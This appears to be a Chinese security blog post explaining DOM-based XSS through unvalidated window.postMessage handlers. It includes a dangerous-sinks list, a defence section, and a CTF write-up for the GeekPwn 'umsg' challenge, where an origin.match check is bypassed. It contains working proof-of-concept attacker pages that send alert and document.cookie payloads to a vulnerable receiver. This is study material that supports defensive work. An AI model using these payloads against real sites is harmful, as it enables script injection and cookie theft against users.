Javascript iframe postMessage xss

前言:

​ 我最开始发现这个有趣的点的时候,是我看到了Vinoth Kumar发掘了一个Facebook的xss;细致的看了一遍他的挖掘思路,其实是利用iframe window的postMessage进行xss;当没有验证来源的时候就可以接受任意来源的数据,攻击者相应的伪造postMessage函数就可达到篡改内容的效果;

​ 在读此文章前可以考虑先阅读如下几篇文章:

https://javascript.info/cross-window-communication

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS

跨域通信的需求

​ 现代web浏览器采用一种重要的安全机制,称为同源策略(SOP),它充当从不同“源(域)”加载的web页面之间的安全边界。毋庸置疑SOP有巨大的安全防护作用,但是实际中越来越需要允许跨分布式应用程序进行安全和受控的通信;比如第三方验证、或者一些大型项目的拓展SDK,大型集成应用程序(如谷歌提供的应用程序)通过不同URL提供了广泛的应用范围等等;相比于较小的单域应用,只需要首次访问站点时发出会话cookie来跟踪用户状态信息,用户后期活动由浏览器携带cookie发起请求以提供身份验证和授权访问,大型的应用现在更多也更广泛被需要;所以跨域传输的需求日渐增多;因此为了提供无缝的用户体验,一些小的应用程序也实现了为了共享信息而采用的跨域通信技术来和一些大型网站进行整合;具体的特例就比如国外一些和Facebook、Twitter等社交网站进行整合的平台;

​ 之前我研究过jsonp xss;其本质也很简单直接劫持篡改掉callback就可;但是近几年jsonp xss已经很少了;并且当SameSite cookie引入之后,这种漏洞就几乎绝迹了;所以基于通信上的问题还是得看postMessage;因为有很多安全研究人员可能会忽略这一点;

Window.postMessage通信

​ window.postMessage方法通过提供不同来源的窗口之间通信的受控方法,帮助解决跨来源通信难题。简单地说,window.postMessage允许使用JavaScript将对象或字符串发送到另一个窗口或框架。收件人窗口可以忽略邮件,也可以使用开发人员定义的函数处理message。虽然没有另外的安全性或验证,但入站消息事件包含可用于验证发送源的“origin”属性。

​ 要使用postMessage,需要接收方定义一个函数来处理消息,然后使用内置的addEventListener函数将其添加为消息处理程序。发送方获取对目标窗口的引用,然后调用postMessage方法来发送消息。

语法:

​ 要发送消息,发送页面必须首先获取对收件人窗口的引用,然后调用otherWindow.postMessage方法传递消息负载和目标源。

1
otherWindow.postMessage(message, targetOrigin, [transfer]);

​ otherWindow即是其他窗口的一个引用;iframe.contentWindow属性,或者我下面例子中的window.open返回的对象;或者是window.iframes索引;只不过是不同的调用方式而已;

​ 例如如下的代码就可将message提交到google;

1
2
var message_target = window.open('http://www.google.com');
message_target.postMessage('hello message','*');

​ 还有更多的调用方式:

Iframe可以通过以下方式与其父级通信:引用“parent”:

1
parent.postMessage();

当和此页面中的子iframe通信时;

1
iframe.contentWindow.postMessage();
1
2
3
4
<iframe src="http://s1mple-top.github.io" name='iframe'></iframe>

var i = window.iframe;//如此容易造成 Dom clobbering从而破坏postMessage函数,三层Dom;
i.contentWindow.postMessage('hello s1mple','*');

使用window.open打开的页面可以使用window.opener.postMessage()将消息提交回其父页面:

​ 具体的测试效果如下图:

o3vvSU.png

在处理message时,收件人页面能够使用event.source.postMessage()将message提交回发送的origin;验证效果如下:

o3vLF0.png

targetOrigin:

​ 这里有意思的是targetOrigin参数,这个参数规定数据发到某个域,如果不想让数据随便发送,最好不要将其设置为 '*'防止被第三方截获;上面的测试结果我为了方便直接将其设置为'*';但是实际的操作中,最好还是将其设置为目标origin;比如在传输密码账号等敏感信息的时候,肯定不希望被其他hacker拦截;所以实际中基本都设置(但是也不能保证有漏网之鱼;

postMesssage xss:

​ HTML5PostMessage以消息负载(Event.data)的形式会引入了一个新的污染源;可以看到上面的图片都发生了弹窗,所以这个模块就介绍postMessage Xss;一个基于 dom 的 xss,当 postMessage 没有正确实现(没有来源验证)时发生,并且从其他主机接收到的不受信任的数据被添加到 dom 中而没有任何过滤;这里就举一个例子,我本地写了点代码测试一下:popup一个小窗口方便测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title>postMessage-xss-attacker</title>
<meta charset="utf-8" />
<img id='cookiess'>//Dom clobbering充当cookie验证,上几个远程攻击也是如此;
<script>

var s1mple;
function attack() {

s1mple = window.open('http://120.53.29.60:9900/demo2.html', 'popup', 'height=300px, width=500px');
setTimeout(function(){send();},2000);
}
function send(){
let msg={url:'demo2.html onload =alert(document.cookie)'};
s1mple.postMessage(msg,'*');
console.log('attack--success');
}
</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='buton' value='xss-attack' onclick='attack();' />
</fieldset>
</form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<body>
<img name='cookie'>
<script type="text/javascript">
window.addEventListener("message", function(event) {
if(event.origin!='http://localhost:9900'){
return;
}
console.log(event.origin);
console.log('success');
console.log(event.data.url);
var c = event.data.url;
if(c!=undefined){
var s1mple = document.createElement('div');

s1mple.innerHTML = "<iframe src="+c+" id='iframess'></iframe>";

document.body.appendChild(s1mple);

}
else{
return;
}
});
console.log('c='+event.data.url);
</script>

​ 两个代码,一个攻击页;一个接受页;往往漏洞点就是因为接受页没有对源进行验证;后期改了下代码,将两个函数合二为一去掉了一个button;

o3JxRx.png

​ 这里我为了方便,我直接利用Dom clobbering原理进行全局的覆盖以仿照攻击cookie效果;这里由于接受页没有对接受的数据进行过滤,也没有对数据的origin进行判断,所以这里直接触发xss攻击;之前的几张截图是对远程的攻击载荷;

​ 相应的安全措施即是在数据的接收端,对于数据的origin进行一个判断,这样可以拦截一些攻击;

o8SRF1.png

​ 这次攻击就被拦截;因为origin不符合;(符合是指协议域名和端口三个都符合要求缺一不可)

​ 当然,上述的只是一种攻击点,其代码的效果是创建一个新的iframe然后引入src属性;直接在src的地方进行javascript伪协议Xss;那么实际情况还有很多种攻击载荷;被攻击的站点可能给我们准备好了攻击的基础;

攻击情况一:

1
document.write({attack_payload});

​ 此攻击基础就是将攻击paylaod利用document.write函数将传入的字符串写入包含任何嵌入式脚本代码的页面。利用这个函数,攻击者只需将脚本代码嵌入受污染的输入即可造成攻击;

攻击情况二:

1
2
3
element.innerHTML = {attack_payload}
element.outerHTML = {attack_payload}

​ 和一的情况差不多,具体问题具体分析了属于是,利用方式都是都是将脚本代码嵌入受污染的输入即可;

攻击情况三:

1
2
3
4
5
location = {attack_payload}
location.href = {attack_payload}
window.open({attack_payload})
location.replace({attack_payload})

这些攻击方法和我之前的图原理差不多,利用伪协议或者利用data:text/html协议进行攻击载荷送达目标页面的污染;

攻击情况四:

1
2
$({attack_payload})

​ 直接在jQuary的选择器中;这很明显了;直接传入攻击载荷即可进行相应的解析和攻击;

​ 比如svg或者iframe两者的onload属性等等;

攻击情况五:

1
2
eval();

​ 这就更不用解释了,直接执行javascript代码了。

攻击情况六:

​ script标签的属性;包括src、text、textContent、innerText;第一个属性直接可引用外部js载荷;其他三个允许修改内容;利用好也可造成xss;

攻击情况七:

​ 各种标签元素的属性;其中包括a标签的href或者iframe的src等等,都可利用来进行xss攻击;也可以利用伪协议进行xss或者在某些标签元素在强制类型转换的时候的特性,比如a标签的href、form input的value和button value或者img object value等、这不属于本文章的范围;不多交流细节;

国内geekpwn postMessage xss-umsg

这个xss算是比较简单的了;看下主要的代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mounted: function() {
window.addEventListener("message", (function(e) {
if (e.origin.match("http://umsg.iffi.top"))
switch (e.data.action) {
case "append":
return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
case "debug":
return void console.log(e.data.payload);
case "ping":
return void e.source.postMessage("pong", "*")
}
}
), !1),
postMessage({
action: "ping"
})
}

这里可以清晰的看到,漏洞的触发是因为origin的来源验证出了问题,只用了match进行匹配,只校验域名头;所以这里我们只要找一个http://umsg.iffi.top.xxx.xxx来构造利用即可。就可以绕过对源的判断;相关的攻击代码也挺好写;显然是要劫持action将其value设置成append即可,就就会触发漏洞;直接上poc吧;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<title>postMessage-xss-attacker</title>
<meta charset="utf-8" />
<script>

var s1mple;
function attack() {
s1mple = window.open('http://120.53.29.60:9900/geekpwn-umsg.html', 'popup', 'height=300px, width=500px');
setTimeout(function(){send();},2000);
}
function send(){
let msg={'action':'append','payload':'<img src=1 onerror=alert("attack--success!")>'};
s1mple.postMessage(msg,'*');
console.log('attack--success');
}
</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='buton' value='xss-attack' onclick='attack();' />
</fieldset>
</form>
</body>
</html>

效果如下:

oGT2Je.png

​ 这里到最后解释一下为什么attack页面的载荷需要延迟2秒后发出,我当时最开始立即发出但是显示undefined;所以我估计是因为和iframe空白页一样的原因,在最开始的时候还没有初始化完毕,都是undefined;iframe在最开始和初始化完全之后的页面引用是不同的,所以如果消息发的太快,会导致正确引用的时候value为undefined;所以这里延迟两秒;

postMessage Xss防护:

​ 合理正确的使用postMessage就可保证相应的安全性;也就是targetOrigin和origin的相互设置和验证;进一步可对接受的消息进行相应的过滤等等的措施;

参考文献:

https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage#the_dispatched_event

https://f002.backblazeb2.com/file/sec-news-backup/files/writeup/www.exploit-db.com/_docs_40287_pdf/index.pdf

https://yrq110.me/post/front-end/cross-domain-and-cross-document-communication/

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS

https://vinothkumar.me/20000-facebook-dom-xss/

https://javascript.info/cross-window-communication